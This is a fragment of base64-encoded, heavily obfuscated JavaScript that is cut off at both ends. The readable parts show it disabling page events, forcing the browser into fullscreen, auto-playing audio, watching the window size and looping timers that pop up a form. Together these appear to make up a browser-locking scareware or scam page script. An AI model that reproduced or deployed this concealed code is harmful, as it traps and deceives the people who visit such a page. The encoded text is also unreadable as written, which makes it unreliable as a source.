sMHg3MzEsMHgzMTksMHg0YjMpLCd4dGRoRSc6XzB4MjQxMGU4W18weDM1MzM2ZCgweDViZSwweDEzMCwweDM1ZCwweDMwNCldLCdKYVJSRSc6XzB4MjQxMGU4W18weDM1MzM2ZCgweDEwLC0weDE1YywweDE3NiwtMHg2KV19O2Z1bmN0aW9uIF8weDM1MzM2ZChfMHg1ZTE4MDYsXzB4MjliZTIwLF8weDIxODk4NCxfMHg3MzYxYmEpe3JldHVybiBfMHgyMTYyN2UoXzB4MjliZTIwLF8weDI5YmUyMC0weDk5LF8weDIxODk4NC0weDE2MixfMHgyMTg5ODQtIC0weDFmZSk7fV8weDI0MTBlOFtfMHgzYTlkMjYoMHg3OGQsMHgzZWYsMHgyMzcsMHg0YjYpXShfMHgyNDEwZThbJ2lTWXNSJ10sXzB4MjQxMGU4W18weDNhOWQyNigweDQzOSwweDNlNiwweDRlMSwweDVhOSldKT9fMHgxYzNlMzEoKTooXzB4MjkwZWQyPV8weDU5ZTRlOVtfMHgzNTMzNmQoMHgzZTgsMHgxZDUsMHg0YjUsMHgyY2IpXSxfMHg1OWU0ZTlbXzB4M2E5ZDI2KDB4Njg3LDB4MThlLDB4NjU2LDB4NDg1KV0oXzB4MTY1MTI2LF8weDU5ZTRlOVtfMHgzNTMzNmQoMHg1OTUsMHgzZDgsMHgyZGQsMHg0MWMpXShfMHgzYTlkMjYoMHgyZDUsMHhlOCwweDFiLDB4YTApLF8weDIwZWI1NikpW18weDM1MzM2ZCgweDQ5YywweDIzMywweDNmZiwweDZlNCldKF8weDU5ZTRlOVtfMHgzYTlkMjYoMHgyZDQsMHg0MDYsMHg1NGUsMHgyNTcpXSksXzB4NTllNGU5W18weDNhOWQyNigweDViOCwweDJiYiwweDc3ZCwweDQ4NSldKF8weDQ4ZjJmNSxfMHg1OWU0ZTlbXzB4MzUzMzZkKDB4Mjg3LDB4MzBjLDB4MjZhLDB4MTBmKV0pW18weDM1MzM2ZCgweDdkMiwweDZkYSwweDVmZSwweDRiYildKF8weDU5ZTRlOVtfMHgzYTlkMjYoMHhmZSwtMHgxNjMsMHgxNTcsMHhlMSldKVsnb24nXShfMHg1OWU0ZTlbXzB4MzUzMzZkKDB4MWY2LDB4YjUsMHgxMDgsLTB4OCldLGZ1bmN0aW9uKF8weDI0NzdmYSl7ZnVuY3Rpb24gXzB4MTk5NzQ4KF8weDQ1Y2IxMyxfMHgxNjQwYWQsXzB4YTYwMGU3LF8weDFkZDJmYSl7cmV0dXJuIF8weDNhOWQyNihfMHg0NWNiMTMsXzB4MTY0MGFkLTB4MTZjLF8weGE2MDBlNy0weDEyZSxfMHgxNjQwYWQtMHg0OWEpO31fMHgyNDc3ZmFbJ3ByZXZlbnREZWYnK18weDE5OTc0OCgweDI0NCwweDRlZCwweDRhZSwweDdhYildKCk7fSkpO30pO3ZhciBfMHgxYmE2NWIsXzB4NWJmMzk0LF8weDI4MmVmZj0hW107ZG9jdW1lbnRbXzB4MmY1MzQ5W18weDIxNjI3ZSgweDM0ZSwweDFlZiwweDMzYywweDRiYildXT1mdW5jdGlvbihfMHgzZWNkNWYpeyFfMHgyODJlZmYmJl8weDI0MTBlOFsnWldqV1gnXSgkLHdpbmRvdylbXzB4MmI1MWY0KDB4NjkxLDB4NjVlLDB4NWE4LDB4Njk3KV0oXzB4MmI1MWY0KDB4MjMxLDB4NTQ0LDB4YjcsMHgzNzgpKydhZCcsXzB4MjM0NTkxKTtfMHgyODJlZmY9ISFbXTtmdW5jdGlvbiBfMHgyYjUxZjQoXzB4NTcxZDhhLF8weDM4MmQ5NSxfMHg5NDM3NyxfMHg0NTgxYWMpe3JldHVybiBfMHgyMTYyN2UoXzB4NTcxZDhhLF8weDM4MmQ5NS0weDE5YixfMHg5NDM3Ny0weDJhLF8weDQ1ODFhYy0gLTB4MTJkKTt9ZnVuY3Rpb24gXzB4ZDc3YjkwKF8weDFmMDczNSxfMHgxMzkzNzcsXzB4NTU4Y2IzLF8weDIyM2FjNCl7cmV0dXJuIF8weDIxNjI3ZShfMHgxMzkzNzcsXzB4MTM5Mzc3LTB4OTIsXzB4NTU4Y2IzLTB4OSxfMHgyMjNhYzQtIC0weGJmKTt9XzB4M2VjZDVmPV8weDI0MTBlOFtfMHhkNzdiOTAoMHgzNzEsMHgzNTMsMHgzYTksMHg1M2YpXShfMHgzZWNkNWYsZXZlbnQpLHRhcmdldD1fMHgzZWNkNWZbXzB4MjQxMGU4WydiaE10RCddXXx8XzB4M2VjZDVmW18weDI0MTBlOFtfMHhkNzdiOTAoMHg4NDYsMHg3YWIsMHg0NjcsMHg1NzEpXV0sXzB4MjQxMGU4W18weGQ3N2I5MCgweDNmOSwweDJjYiwweDQzOSwweDM5NyldKF8weGZjNDkzOSksXzB4MjQxMGU4W18weGQ3N2I5MCgweDYwNCwweDFlMywweDYwYywweDM1NCldKCQsXzB4MjQxMGU4W18weDJiNTFmNCgweDMyOSwweDJmMCwweDViNCwweDRiNildKVtfMHgyNDEwZThbXzB4MmI1MWY0KDB4MmZjLDB4MTUyLDB4MjVhLDB4MmQ1KV1dKCksXzB4MjQxMGU4WydZWU1tQSddKCQsXzB4MmU2ZTljKVtfMHgyNDEwZThbXzB4ZDc3YjkwKDB4Njc4LDB4MWRmLDB4NjQ0LDB4MzkyKV1dKCksXzB4MjQxMGU4W18weDJiNTFmNCgweDkxZCwweDViZCwweDgwNiwweDY4YyldIT1fMHgyNDEwZThbXzB4ZDc3YjkwKDB4NDdlLDB4MzBlLDB4Mzk1LDB4NTIzKV0oXzB4MWFhMzVhLF8weDI0MTBlOFtfMHhkNzdiOTAoMHgyZTUsMHgyMzgsMHgyNTEsMHgyNTEpXSkmJihfMHgyNDEwZThbXzB4ZDc3YjkwKDB4MmY2LC0weDc2LC0weDIzLDB4MWU2KV0oXzB4MjYxNzI0LF8weDI0MTBlOFtfMHgyYjUxZjQoLTB4ZWEsMHgyNzQsMHgyOTMsMHgxZTMpXSxfMHgyYjUxZjQoMHgyYmQsLTB4NmYsLTB4M2YsMHhlNCkpLG5ldyBBdWRpbyhfMHgyNDEwZThbXzB4ZDc3YjkwKDB4NGFlLC0weGYsMHgxNDYsMHgyNGQpXSlbJ3BsYXknXSgpKTt9LGRvY3VtZW50W18weDJmNTM0OVsnc1lacmQnXV09bmV3IEZ1bmN0aW9uKCdyZXR1cm5ceDIwZmFsJysnc2UnKSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MTZlLDB4NDAsMHgyMDksMHgyMjApXSgkLHdpbmRvdylbXzB4MjE2MjdlKDB4OTRmLDB4OWI1LDB4OWExLDB4NmYwKV0oZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHhjNjJjNGUoXzB4NTEzODljLF8weDJjOWQ5NSxfMHg0YjllNDcsXzB4M2QwMWExKXtyZXR1cm4gXzB4MjE0MjYwKF8weDUxMzg5Yy0weDE0MyxfMHg0YjllNDcsXzB4NGI5ZTQ3LTB4MWIzLF8weDJjOWQ5NS0weDM5MSk7fV8weDFiYTY1Yj0kKHdpbmRvdylbXzB4MTFjNTk1W18weDJlODUzZSgweGViLDB4MTQ2LDB4MzMwLDB4MWM4KV1dKCksXzB4NWJmMzk0PV8weDExYzU5NVtfMHgyZTg1M2UoMHg2NDcsMHgzZWYsMHgzZTIsMHg0NDEpXSgkLHdpbmRvdylbXzB4MTFjNTk1W18weDJlODUzZSgtMHgyNjYsLTB4MWYsMHg4OSwweDJjNSldXSgpO2Z1bmN0aW9uIF8weDJlODUzZShfMHg4YTQxNWQsXzB4NDM0ZTAyLF8weGUyNDY5ZixfMHgxMTNjNWYpe3JldHVybiBfMHgyMTQyNjAoXzB4OGE0MTVkLTB4MTNiLF8weDExM2M1ZixfMHhlMjQ2OWYtMHg2YixfMHhlMjQ2OWYtIC0weGYyKTt9XzB4MTFjNTk1W18weDJlODUzZSgtMHhhYywweDM4NSwweDEzMCwtMHhhYildKHN0YXJ0LF8weDI4MmVmZikmJiFfMHgxMWM1OTVbXzB4YzYyYzRlKDB4NjkzLDB4NWIyLDB4NjVhLDB4NzI0KV0oXzB4ZWIyY2M3KSYmKF8weDExYzU5NVsnbE5lTXInXShfMHgxYmE2NWIsd2lkdGhTdGFydCl8fF8weDExYzU5NVtfMHhjNjJjNGUoMHg3YmUsMHg3ZmIsMHg4M2EsMHg4OWIpXShfMHg1YmYzOTQsaGVpZ2h0U3RhcnQpKSYmZG9jdW1lbnRbXzB4MTFjNTk1W18weGM2MmM0ZSgweDc2NSwweDZjZSwweDk3YiwweDU0NyldXVtfMHgxMWM1OTVbJ1RzWG9LJ11dKCk7fSksXzB4MmY1MzQ5W18weDIxNDI2MCgweDU5NywweDM4ZSwweDIxMywweDRmNyldKCQsZG9jdW1lbnRbXzB4MjE2MjdlKDB4ODRmLDB4NzFkLDB4NGRiLDB4NjdmKV0pWydvbiddKF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyNzMsMHgzYzcsLTB4MmEsMHhmNSldLGZ1bmN0aW9uKF8weDUwNzRiYyl7dmFyIF8weGJlZmNlOT17J1lrQVdMJzpmdW5jdGlvbihfMHg0YTVmZjQpe3JldHVybiBfMHg0YTVmZjQoKTt9fTtmdW5jdGlvbiBfMHgyMWRmMGQoXzB4MjJjYjEzLF8weDI3MjYzMSxfMHgzOTMxZDgsXzB4MTZlNGEyKXtyZXR1cm4gXzB4MjE2MjdlKF8weDIyY2IxMyxfMHgyNzI2MzEtMHg1MyxfMHgzOTMxZDgtMHgxZjEsXzB4MjcyNjMxLSAtMHg0YjIpO31fMHgxMWM1OTVbXzB4MjFkZjBkKDB4MjE4LDB4MjAzLDB4NGExLDB4NWQpXShzZXRUaW1lb3V0LGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4ZDQyMjhiKF8weDE3MTQwMCxfMHgzM2I0MzcsXzB4MTVlZGU4LF8weDI0MDBmNil7cmV0dXJuIF8weDIxZGYwZChfMHgzM2I0MzcsXzB4MjQwMGY2LTB4MWYyLF8weDE1ZWRlOC0weGFiLF8weDI0MDBmNi0weDNmKTt9XzB4ZmM0OTM5KCksXzB4YmVmY2U5W18weGQ0MjI4YigweDMyMCwweDE2YywweDQ5OSwweDMyNSldKF8weDMwODM3OSk7fSwtMHgxZjBlKzB4YTFlKzB4MTRmYSk7ZnVuY3Rpb24gXzB4MjQ2YmRhKF8weDQ5MDExMixfMHgzNjNiNTgsXzB4MjVhMmZjLF8weDM1NjlmNil7cmV0dXJuIF8weDIxNjI3ZShfMHgzNTY5ZjYsXzB4MzYzYjU4LTB4NDUsXzB4MjVhMmZjLTB4OGQsXzB4MjVhMmZjLTB4MWMzKTt9XzB4MTFjNTk1W18weDI0NmJkYSgweDg4NywweDc4OCwweDkwMywweGFjMildKF8weDI3ODQ5OCxfMHgxMWM1OTVbXzB4MjFkZjBkKDB4M2ZjLDB4Mjc4LDB4MjkxLDB4MjQzKV0odHlwZW9mIF8weDEzMjAyM1tfMHgyMWRmMGQoLTB4ZTEsLTB4MWE3LC0weDNjOSwtMHgxNSldLF8weDExYzU5NVtfMHgyMWRmMGQoMHgzNmUsMHgyMjEsMHgyYzgsMHg0MGEpXSkpLF8weDExYzU5NVtfMHgyNDZiZGEoMHg5MDgsMHg4NDksMHg2ZTAsMHgzZjApXShfMHgxMDRhMTYsXzB4MTFjNTk1WydCb3ZOeiddKHR5cGVvZiBfMHgxMzIwMjNbXzB4MjQ2YmRhKDB4YWY0LDB4OTU5LDB4OTgyLDB4YmM1KSsnb2NrJ10sXzB4MjQ2YmRhKDB4OGIyLDB4OTEzLDB4N2U5LDB4NzM1KSkpO30pLHdpbmRvd1tfMHgyZjUzNDlbJ3BIam90J11dKF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyMWMsLTB4YWUsMHg0ZGUsMHgyMGYpXSxmdW5jdGlvbigpe3ZhciBfMHgxMTdmM2E9eyd0ZlJKQic6ZnVuY3Rpb24oXzB4M2Q2MTA5KXtmdW5jdGlvbiBfMHg3MDYxNChfMHgyMmQ5OGEsXzB4MTBhOTYxLF8weDJmZmFhOSxfMHgyOTQwZmUpe3JldHVybiBfMHg0YzBmKF8weDIyZDk4YS0gLTB4MmI2LF8weDI5NDBmZSk7fXJldHVybiBfMHgyNDEwZThbXzB4NzA2MTQoLTB4Y2UsLTB4M2E0LC0weDE2YywtMHgxMDMpXShfMHgzZDYxMDkpO30sJ29JYVpMJzpmdW5jdGlvbihfMHhiNDdlMWMpe2Z1bmN0aW9uIF8weDIwZjM0NChfMHg1NDA3MmUsXzB4NDRjNTUxLF8weDUzMzFhZSxfMHgyMjRmYTEpe3JldHVybiBfMHg0YzBmKF8weDIyNGZhMS0weDIyZCxfMHg0NGM1NTEpO31yZXR1cm4gXzB4MjQxMGU4W18weDIwZjM0NCgweDQwNiwweDM4NCwweDRhZCwweDUxZSldKF8weGI0N2UxYyk7fX07XzB4MjQxMGU4WydYWnZXeCddKF8weGZjNDkzOSksc2V0VGltZW91dChmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDNhMDQ0NShfMHg0OWE3ZmIsXzB4NWNmNTEyLF8weDljN2Y5NyxfMHg0ZmUyNDcpe3JldHVybiBfMHg0YzBmKF8weDQ5YTdmYi0gLTB4MjIzLF8weDVjZjUxMik7fV8weDExN2YzYVtfMHgzYTA0NDUoMHgxM2QsMHhhNCwweGM0LDB4MmYyKV0oXzB4ZmM0OTM5KSxfMHgxMTdmM2FbJ29JYVpMJ10oXzB4MzA4Mzc5KTt9LC0weDEqMHg3NjYrLTB4MjkqLTB4NWUrLTB4Nzk0KTt9LCEoLTB4MjcwNSstMHgxMSoweDU5Ky0weDJjZWYqLTB4MSkpLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg2MTksMHg2YWEsMHg3ODUsMHg2NTApXSgkLF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyNjYsLTB4NDMsLTB4MTk4LDB4ZDIpXSlbXzB4MmY1MzQ5W18weDIxNjI3ZSgweDYxNSwweDc2MiwweDZhOSwweDY2OCldXShmdW5jdGlvbihfMHgxNTQ3M2Upe2Z1bmN0aW9uIF8weDVhMjI2MyhfMHg0ZGE3OGEsXzB4MjBmYjUwLF8weDRmYjczNixfMHgyZTM5MGYpe3JldHVybiBfMHgyMTQyNjAoXzB4NGRhNzhhLTB4YTYsXzB4NGRhNzhhLF8weDRmYjczNi0weGVmLF8weDRmYjczNi0gLTB4MWEpO31fMHgxNTQ3M2VbXzB4NWEyMjYzKDB4MTRkLDB4MTVlLC0weDQxLDB4MTBjKSsnYXRpb24nXSgpO30pLF8weDJmNTM0OVtfMHgyMTQyNjAoMHgzMGYsLTB4NjMsMHgzMjcsMHgxZjIpXShfMHgzMDgzNzkpLF8weDJmNTM0OVsnc0lHSkUnXSgkLGRvY3VtZW50W18weDIxNjI3ZSgweDU1ZCwweDZlOCwweDcyOSwweDY3ZildKVsnb24nXShfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NWY4LDB4NDdkLDB4NThkLDB4NWRhKV0sZnVuY3Rpb24oXzB4Mzk1OWVmKXtmdW5jdGlvbiBfMHg0NWYwMTMoXzB4M2JhYzA3LF8weDJmNDg0NCxfMHgzMWJkNDIsXzB4MzhkOTE1KXtyZXR1cm4gXzB4MjE0MjYwKF8weDNiYWMwNy0weDFkZixfMHgzMWJkNDIsXzB4MzFiZDQyLTB4MWE4LF8weDM4ZDkxNS0gLTB4NTgpO31mdW5jdGlvbiBfMHg0ZjI2ZDQoXzB4MzJlMzgyLF8weDM5MGI2YyxfMHg0YmVkZDQsXzB4NDMyNTczKXtyZXR1cm4gXzB4MjE2MjdlKF8weDMyZTM4MixfMHgzOTBiNmMtMHgxLF8weDRiZWRkNC0weDMzLF8weDQzMjU3My0weDJjMSk7fXZhciBfMHg0MmYxOTg9eydiWnJQZCc6ZnVuY3Rpb24oXzB4MzRlYzA4LF8weDIwZTczOSl7cmV0dXJuIF8weDM0ZWMwOCE9PV8weDIwZTczOTt9LCd4a2lRcCc6ZnVuY3Rpb24oXzB4MTMzMDFkKXtmdW5jdGlvbiBfMHgyYmFhNzgoXzB4NDMyOWUwLF8weDRmNDVjZixfMHhmNWMzMTUsXzB4NWMxNDZkKXtyZXR1cm4gXzB4NGMwZihfMHhmNWMzMTUtMHgzNWUsXzB4NGY0NWNmKTt9cmV0dXJuIF8weDI0MTBlOFtfMHgyYmFhNzgoMHg3ZmQsMHg4YjksMHg2NDcsMHg0M2QpXShfMHgxMzMwMWQpO30sJ3NpZW1sJzpmdW5jdGlvbihfMHg0YzQ4N2Ype3JldHVybiBfMHg0YzQ4N2YoKTt9fTtfMHgyNDEwZThbXzB4NDVmMDEzKC0weDhiLDB4M2NhLDB4MTkyLDB4MWU5KV0oXzB4MjcyODNkLF8weDM5NTllZiksMHhhYTIrMHhjMTMrLTB4MTY5YT09PV8weDM5NTllZltfMHgyNDEwZThbXzB4NGYyNmQ0KDB4ODJiLDB4M2M4LDB4NWQ4LDB4NjExKV1dJiYoXzB4MjQxMGU4W18weDQ1ZjAxMygweDVjNiwweDI4MSwweDM5OSwweDQzZCldKF8weGZjNDkzOSksXzB4MjQxMGU4W18weDRmMjZkNCgweDdiNiwweDVkZSwweDgxMywweDY3YSldKF8weDMwODM3OSksc2V0VGltZW91dChmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDRjNmI2MyhfMHg1ODBmZWIsXzB4NGE2ZWUxLF8weDEwNmNjMSxfMHgyMTEzZjgpe3JldHVybiBfMHg0ZjI2ZDQoXzB4NGE2ZWUxLF8weDRhNmVlMS0weGUyLF8weDEwNmNjMS0weDFkYixfMHgxMDZjYzEtIC0weDFkMSk7fWZ1bmN0aW9uIF8weDQyMWYzYihfMHg1Njg0MDMsXzB4MzQyY2NhLF8weDY1MGUwNyxfMHg0YTIzMzUpe3JldHVybiBfMHg0NWYwMTMoXzB4NTY4NDAzLTB4Y2EsXzB4MzQyY2NhLTB4ZDcsXzB4NTY4NDAzLF8weDM0MmNjYS0weDE3Zik7fV8weDQyZjE5OFsnYlpyUGQnXShfMHg0MjFmM2IoMHgyMzQsMHgzMmYsMHhkNSwweDUyZiksJ3liV2h3Jyk/XzB4OGU2NzkxKF8weDMwMGE5ZltfMHg0MjFmM2IoMHg1YjUsMHg1M2EsMHgyYWIsMHg0ODUpXSlbJ3RyaWdnZXInXSgnc2hvd19mb3JtXycrXzB4NDIxZjNiKDB4MzQ1LDB4ZWUsMHgyOGYsMHhjZCkpOihfMHg0MmYxOThbXzB4NDIxZjNiKDB4NmY0LDB4NTlkLDB4NTc3LDB4NTQwKV0oXzB4ZmM0OTM5KSxfMHg0MmYxOThbXzB4NGM2YjYzKDB4NTZhLDB4NjNiLDB4NzkxLDB4OGI4KV0oXzB4MzA4Mzc5KSk7fSwweDUqMHgzMzIrLTB4MjQwYysweDE0ZGEpKTt9KTtmdW5jdGlvbiBfMHgxYzNlMzEoKXtmdW5jdGlvbiBfMHg1MmRiZGIoXzB4NTQ0ZjMxLF8weDNmMmU0MSxfMHgxOGMzOTgsXzB4NTc2MTIzKXtyZXR1cm4gXzB4MjE2MjdlKF8weDU3NjEyMyxfMHgzZjJlNDEtMHhiMCxfMHgxOGMzOTgtMHgxMjIsXzB4NTQ0ZjMxLSAtMHgxYmIpO31mdW5jdGlvbiBfMHg1NGI1NGMoXzB4MjU1N2I2LF8weDEzYTRkZSxfMHgyZWY2NTYsXzB4MWQ4OWUyKXtyZXR1cm4gXzB4MjE2MjdlKF8weDFkODllMixfMHgxM2E0ZGUtMHgxYzksXzB4MmVmNjU2LTB4MWRkLF8weDJlZjY1Ni0gLTB4MjQwKTt9aWYoXzB4MTFjNTk1W18weDUyZGJkYigweDE4YSwweDI1OSwtMHg2NywweDI2ZCldKF8weDExYzU5NVtfMHg1NGI1NGMoMHg3YiwtMHg2YSwweDFiYSwweDMwOCldLF8weDUyZGJkYigweDIyZCwweDQ4NywweGUxLDB4ZWYpKSl7aWYoZG9jdW1lbnRbXzB4NTJkYmRiKDB4M2RkLDB4NDQ2LDB4NTk2LDB4NWU4KStfMHg1MmRiZGIoMHg0ODAsMHgxYWEsMHg1ZDcsMHgzNDQpXSl7aWYoXzB4MTFjNTk1W18weDUyZGJkYigweDViYSwweDcyYiwweDc3ZCwweDYzOCldPT09XzB4MTFjNTk1WydCQmhhcSddKWRvY3VtZW50W18weDU0YjU0YygweDFlNywweDEwYywweDM1OCwweDU3ZCkrXzB4NTRiNTRjKDB4MTEwLDB4Njc0LDB4M2ZiLDB4MzIyKV0oKTtlbHNlIHJldHVybiBfMHg0ZjE3NTVbXzB4NTJkYmRiKDB4ZDAsMHg1NSwtMHgxNjYsMHgzYzApXShfMHgyNDEwZThbJ0VqQkNtJ10oXzB4NTUxZjFlLCdceDIwJykrXzB4NGIwNzZmKTt9ZWxzZXtpZihkb2N1bWVudFtfMHg1NGI1NGMoMHg3MjksMHg4MzgsMHg1NmMsMHg1YjEpK18weDUyZGJkYigweDVlNiwweDVkZSwweDYwYywweDhjNildKWRvY3VtZW50W18weDU0YjU0YygweDcxYSwweDY1YywweDU2YywweDViOSkrXzB4NTRiNTRjKDB4NDAzLDB4NDI4LDB4NTYxLDB4ODRiKV0oKTtlbHNle2lmKGRvY3VtZW50W18weDU0YjU0YygweDFiNiwtMHgxOTcsMHg3MywtMHhjMikrJ3VsbFNjcmVlbiddKXtpZihfMHgxMWM1OTVbXzB4NTJkYmRiKDB4NGIyLDB4MWVjLDB4MmJlLDB4NTQ2KV0oXzB4MTFjNTk1WydoZE5ETyddLF8weDExYzU5NVtfMHg1NGI1NGMoMHg0NTksMHgyYjgsMHg1NTksMHg2ODYpXSkpZG9jdW1lbnRbXzB4NTRiNTRjKDB4ZGMsMHgyNzMsMHg3MywtMHg1MykrXzB4NTJkYmRiKDB4NDMyLDB4MjA1LDB4MWU2LDB4NDNkKV0oKTtlbHNle2Zvcih2YXIgXzB4NDAzMWYzPV8weDQ2ZDQwZFtfMHg0MzdlZjBdOydceDIwJz09XzB4NDAzMWYzW18weDI0MTBlOFtfMHg1NGI1NGMoMHg1NDMsMHgyMzQsMHgyNTEsMHhiOCldXSgweDI1MjQrMHgzKi0weDEwZisweDI1Ki0weGViKTspe18weDQwMzFmMz1fMHg0MDMxZjNbXzB4MjQxMGU4W18weDU0YjU0YygweGNjLDB4MzMxLDB4MmI0LDB4NGQxKV1dKC0weDExMmIrLTB4NDE2KzB4MTU0MixfMHg0MDMxZjNbXzB4MjQxMGU4WydzWnhvbCddXSk7fTtpZigweGRlMSstMHhkKi0weDIyMCstMHgyOTgxPT1fMHg0MDMxZjNbXzB4MjQxMGU4W18weDU0YjU0YygtMHhlNSwweDNjZCwweDE2NywweDIxNCldXShfMHgzZDVlMzQpKXJldHVybiBfMHg0MDMxZjNbXzB4NTJkYmRiKDB4MmU0LDB4OSwweDJjNywweGYxKV0oXzB4ZTk4YjA1W18weDU0YjU0YygweDVhNSwweDUxZCwweDUwOSwweDMwZildLF8weDQwMzFmM1tfMHgyNDEwZThbJ3NaeG9sJ11dKTt9fWVsc2UgZG9jdW1lbnRbXzB4NTJkYmRiKDB4NjEsMHgzMTQsMHgxNjYsMHgxKStfMHg1MmRiZGIoMHg1NzQsMHg2MTIsMHg0ZjMsMHg3MjUpXSYmZG9jdW1lbnRbXzB4NTRiNTRjKDB4NjIsLTB4MThhLC0weDI0LDB4MTkwKStfMHg1NGI1NGMoMHg0YTgsMHg1NDMsMHg0ZWYsMHg3ZDkpXSgpO319fWVsc2V7dmFyIF8weDE1YTMwNT1uZXcgXzB4NWI0MGZmKCk7XzB4MTVhMzA1W18weDI0MTBlOFsnQWJQVWonXV0oXzB4MjQxMGU4Wyd6YmdOaCddKF8weDE1YTMwNVtfMHg1MmRiZGIoMHg0N2EsMHgxZjgsMHg0ZjAsMHgzMzQpXSgpLF8weDI0MTBlOFtfMHg1NGI1NGMoMHhkNSwweDFkLDB4MWM0LDB4Mjc2KV0oXzB4MjQxMGU4WydpVHhXYiddKF8weDI0MTBlOFtfMHg1MmRiZGIoMHgyNDksMHgyNDksMHgzYiwweGM0KV0oXzB4MjQxMGU4W18weDUyZGJkYigweDQyMSwweDFiZSwweDZkMSwweDRmNyldKDB4MTM3ZCoweDErLTB4MjgyKi0weDkrMHgzKi0weGRmZCxfMHgxYzY1ODgpLDB4MSotMHgxNTQ4Ky0weDgyYSstMHgxKi0weDFkYWUpLC0weDYzMisweDIwYjQrMHgyNiotMHhiMSksMHgxNTJmKy0weDExKi0weGRiKy0weDFmZDIpKSksXzB4MjM3MzNjPV8weDI0MTBlOFsnQW9wWU8nXStfMHgxNWEzMDVbXzB4NTJkYmRiKDB4NTk3LDB4M2VhLDB4NTQyLDB4ODJlKSsnZyddKCk7fX1mdW5jdGlvbiBfMHg1N2I0YzEoKXt2YXIgXzB4NDlhOTc0PXsnRFJkR1cnOmZ1bmN0aW9uKF8weDU3OTJjMSxfMHgxYzhhYjkpe2Z1bmN0aW9uIF8weDFhZGY2NihfMHhjYWVjYjEsXzB4MTQ5NDczLF8weDk2YjdmMixfMHgyMTBkNzcpe3JldHVybiBfMHg0YzBmKF8weGNhZWNiMS0gLTB4M2JmLF8weDk2YjdmMik7fXJldHVybiBfMHgyNDEwZThbXzB4MWFkZjY2KDB4MzAzLDB4MWQ0LDB4NWEyLDB4NTBlKV0oXzB4NTc5MmMxLF8weDFjOGFiOSk7fSwnVklId0onOl8weDI0MTBlOFtfMHgyYWU4MWQoMHgzMTMsMHg1ZmMsMHgyODQsMHg0NTApXX07ZnVuY3Rpb24gXzB4MmFlODFkKF8weDVjMzMzOCxfMHgxMTgwYjcsXzB4MmI1MTYxLF8weDRlNGYyMyl7cmV0dXJuIF8weDIxNjI3ZShfMHgyYjUxNjEsXzB4MTE4MGI3LTB4MTIxLF8weDJiNTE2MS0weDE1OCxfMHg0ZTRmMjMtMHgxYTYpO31mdW5jdGlvbiBfMHg0MzlmNWMoXzB4NTgzMjMzLF8weDVkYmI4ZCxfMHgzY2Q0ZjUsXzB4MjExNmQ4KXtyZXR1cm4gXzB4MjE2MjdlKF8weDIxMTZkOCxfMHg1ZGJiOGQtMHgxM2IsXzB4M2NkNGY1LTB4NTksXzB4NTgzMjMzLTB4MmRkKTt9aWYoXzB4MjQxMGU4WydJZ1hVayddKF8weDI0MTBlOFtfMHgyYWU4MWQoMHg0YWQsMHg2OWMsMHg3MGEsMHg0YjcpXSxfMHgyNDEwZThbJ2lXSmZlJ10pKV8weDQ5YTk3NFsnRFJkR1cnXShfMHgzODQzMmQsXzB4NTc1NWUzKVtfMHgyYWU4MWQoMHg5MDcsMHhjMTksMHg3MTQsMHg5NmEpXShfMHg0OWE5NzRbXzB4MmFlODFkKDB4MmVlLDB4MjBlLDB4NzMwLDB4NDk2KV0sXzB4NDUyZmNlKTtlbHNle3ZhciBfMHgyYTdkMDE9bmV3IERhdGUoKTtyZXR1cm4gXzB4MjQxMGU4Wyd5UHJMZyddKF8weDI0MTBlOFtfMHgyYWU4MWQoMHg0OGIsMHg2MjAsMHg1MDIsMHg3NTEpXShfMHgyNDEwZThbXzB4MmFlODFkKDB4OGI0LDB4OWMyLDB4NTMxLDB4NzUxKV0oXzB4MjQxMGU4W18weDJhZTgxZCgweGE0NSwweDc2OCwweDgyYywweDc1OCldKF8weDI0MTBlOFtfMHg0MzlmNWMoMHg5YWIsMHhiMDIsMHhiZDQsMHg2ZDYpXShfMHgyMmU0NjEsXzB4MmE3ZDAxW18weDQzOWY1YygweDhhNiwweDg4ZSwweDkxYiwweDc3MyldKCkpLCc6JyksXzB4MjJlNDYxKF8weDJhN2QwMVsnZ2V0TWludXRlcyddKCkpKSwnOicpLF8weDIyZTQ2MShfMHgyYTdkMDFbJ2dldFNlY29uZHMnXSgpKSk7fX1mdW5jdGlvbiBfMHgyMmU0NjEoXzB4M2Q3OGI2KXtmdW5jdGlvbiBfMHgzZDNlNjcoXzB4NTNjNDg2LF8weDJhZGQ0ZCxfMHg1NGEyZTUsXzB4MmM0MmYyKXtyZXR1cm4gXzB4MjE0MjYwKF8weDUzYzQ4Ni0weGIsXzB4MmFkZDRkLF8weDU0YTJlNS0weGQ2LF8weDJjNDJmMi0weDFhMik7fWZ1bmN0aW9uIF8weDExNTNlNyhfMHgzZDk4YzIsXzB4NTdjNTcxLF8weDE1OWQ5MCxfMHgzMmE0OTEpe3JldHVybiBfMHgyMTYyN2UoXzB4NTdjNTcxLF8weDU3YzU3MS0weDg4LF8weDE1OWQ5MC0weDE4ZCxfMHgzZDk4YzItIC0weDNiZCk7fXJldHVybiBfMHgzZDc4YjZbXzB4M2QzZTY3KDB4MWQ1LDB4NDA5LC0weGY3LDB4MTY0KV0oKVtfMHgzZDNlNjcoMHg5NTAsMHg4ZGUsMHg3M2MsMHg2ZWEpXSgvXihbMC05XSkkLyxfMHgyNDEwZThbJ3h0Y3VjJ10pO31mdW5jdGlvbiBfMHhlYjJjYzcoKXtmdW5jdGlvbiBfMHgzZGU3NDQoXzB4NGEzOGYzLF8weDU0MDNmYixfMHhlNDJkYzksXzB4MmE4MDZhKXtyZXR1cm4gXzB4MjE2MjdlKF8weGU0MmRjOSxfMHg1NDAzZmItMHgxNjcsXzB4ZTQyZGM5LTB4Y2EsXzB4NTQwM2ZiLSAtMHg0ZCk7fWZ1bmN0aW9uIF8weDlkN2E4OShfMHg0MmU1MWQsXzB4MWQ5YzRmLF8weDYxOGNjNyxfMHgyY2Y1Zjgpe3JldHVybiBfMHgyMTQyNjAoXzB4NDJlNTFkLTB4MTMzLF8weDJjZjVmOCxfMHg2MThjYzctMHgxNjEsXzB4MWQ5YzRmLTB4NDA2KTt9cmV0dXJuIF8weDExYzU5NVtfMHgzZ